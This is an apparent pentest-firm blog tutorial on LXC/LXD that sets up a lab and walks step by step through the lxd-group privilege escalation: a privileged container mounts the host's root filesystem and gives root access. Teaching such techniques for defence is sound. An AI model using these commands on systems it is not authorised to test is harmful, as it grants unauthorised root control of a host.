This blog will explore the world of Linux Containers (LXD/LXC) and their inner workings. Additionally, we’ll provide a comprehensive guide on configuring a container for testing purposes, including what to do when things go wrong. Most importantly, we will also show how cybercriminals could exploit misconfigured containers to gain system privileges, highlighting the critical need for container security.
This blog post will cover the following topics:
- Overview of Lxc and Lxd
- Difference between Lxc and Lxd
- Configuration of Lxd
- Misconfiguring Lxd privileges
- How to exploit a misconfigured container?
LXC, or Linux Containers, is a Linux operating system-level virtualization technique. It facilitates running multiple independent Linux systems, called containers, on a single host machine. Each container operates in isolation and has its memory, network resources, and file systems. The containers’ applications perceived themselves as running on a stand-alone physical machine.
LXC offers an effective and efficient method to operate many Linux instances on one host with minimal degradation and low overhead. It is popular for deploying applications, system testing, development setups, and constructing cloud-based infrastructures.
LXC is supported by the Linux kernel and can be managed using various tools, including the LXC command-line interface (CLI) and different graphical interfaces. It provides a flexible and modular architecture that allows users to customize their containers based on their specific needs and requirements.
LXD, short for Linux Container Daemon, is a container hypervisor that allows for managing LXC containers through a user-friendly interface. It utilizes LXC technology and enables the creation of system containers. LXD is optimized to work on Ubuntu and other Linux distributions supporting snap packages.
LXD allows users to create, manage, and execute containers through a REST API and a command-line interface. The REST API allows for the programmatic management of containers, while the command-line interface provides an efficient way to interact with containers directly from the terminal.
LXD is recognized for its ability to scale and various security features that prevent the containers from being compromised by malicious attackers. It offers high-tech security options such as AppArmor and SELinux to isolate containers and hosts. Moreover, LXD provides support for the live migration of containers between hosts, thus enabling hassle-free relocation of workloads to different environments.
Overall, LXD is a powerful tool for managing Linux containers, simplifying containerization and enabling users to run applications securely and efficiently.
Difference between LXC and LXD
LXC (Linux Containers) and LXD (Linux Container Daemon) are both technologies used for containerization in Linux, but there are some differences between the two:
- LXC is a user space interface for the Linux kernel’s container features, while LXD is a daemon that provides a RESTful API to manage LXC containers.
- LXC is primarily designed to create and manage lightweight system containers, while LXD provides a complete container management solution that includes features like live migration, clustering, and storage management.
- LXD also provides a more user-friendly command-line interface and web-based graphical interface for managing containers, while LXC relies on command-line tools for management.
- LXD is a higher-level abstraction of LXC, adding features like container image management, snapshotting, and network management on top of LXC’s core functionality.
In summary, while LXC provides the core containerization functionality in Linux, LXD builds on top of it to provide a complete container management solution with additional features and a more user-friendly interface.
Now let us go through the steps to install and configure the LXD container in our system.
First, we use the ‘apt’ tool to install lxd and other dependencies.
apt install lxd
apt install zfsutils-linux
Once the container and its dependencies have been installed, we can initiate the lxd container daemon by utilizing the ‘systemctl’ command.
systemctl start lxd
Misconfiguring LXD Privileges
To misconfigure the container, let us create a low-privileged user ‘pentest’ and give thempermission to manage the lxd containers.
- We can create a user by the ‘useradd’ command. The command ‘-p ‘attribute is for the password, ‘-s’ for shell and ‘-m’ to create the user’s directory to be the same as the user name.
useradd -p ‘Password1’ -s ‘/bin/bash’ -m pentest
- After creating the user, we can use ‘usermod’ to add the user to the lxd group. This action will give the user ‘pentest’ permission to manage the containers.
usermod --append --groups lxd pentest
- We can also create a root.txt file in the root directory to verify the exploit by reading the file.
echo ‘We Got Root’ > root.txt
- The screenshot below shows that user pentest is now a member of the lxd group
Now, with the help of this misconfiguration, we can exploit the system and get a privileged user shell.
Exploiting the Misconfigured Container
Our first step is to configure a new storage pool. For that, we can use the lxd init command.
We can also check the storage pool we created using the lxc command.
lxc storage list
After creating the storage pool, we need any compiled image for the lxd container, which could be downloaded from GitHub.
In our scenario, the host machine has internet access, but if not, the attacker could generate their own compiled image for lxd and transfer it to the host machine.
Let us download the ‘lxd-alpine-builder’ and build the image.
cd lxd-alpine-builder/ ./build-alpine
After running the above commands, we have compiled an image for the lxd container. Now we need to import the compiled image to the container.
We can use lxc to import the image to the container. Here we are naming the alpine image as ‘Myimage.’
lxc image import ./ alpine-v3.17-x86_64-20230302_1107.tar.gz --alias MyImage
lxc image list
Our compiled image is imported into the container. Now we run some lxc commands to configure the privilege for our compiled image.
We need to create a container using an imported image (MyImage). In order to do that, we need to create an instance of a container image (named RedFox); after that, we can assign security privileges to the created instance.
lxc init MyImage RedFox -c security.privileged=true
Mount the host machine’s root directory ( / ) as an alias (HostDir) to the lxd container at the’/mnt/’ path
lxc config device add RedFox HostDir disk source=/ path=/mnt/root recursive=true
Start the container
lxc start RedFox
Get a shell to the lxd container.
lxc exec RedFox /bin/sh
Check the integritiy of lxd container
We got access to our lxd container, and in the above status, we mounted the host machine’s root directory (/) to the /mnt/ folder of the container. Once inside the container, we can navigate to the /mnt/root to see all resources from the host machine.
We can access the root.txt file created earlier, thus confirming root access.
# cd /mnt/root/root
This blog discussed how a simple misconfiguration on the lxd container allows an attacker to compromise the entire system and get a root shell on the host machine.
By partnering with Redfox Security, you’ll get the best security and technical skills to execute a practical and thorough penetration test. Our offensive security experts have years of experience assisting organizations in protecting their digital assets through penetration testing services. To schedule a call with one of our technical specialists, call 1-800-917-0850 now.
Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. We proudly deliver robust security solutions with a combination of data-driven, research-based, and manual testing methodologies.
“Join us on our journey of growth and development by signing up for our comprehensive courses.”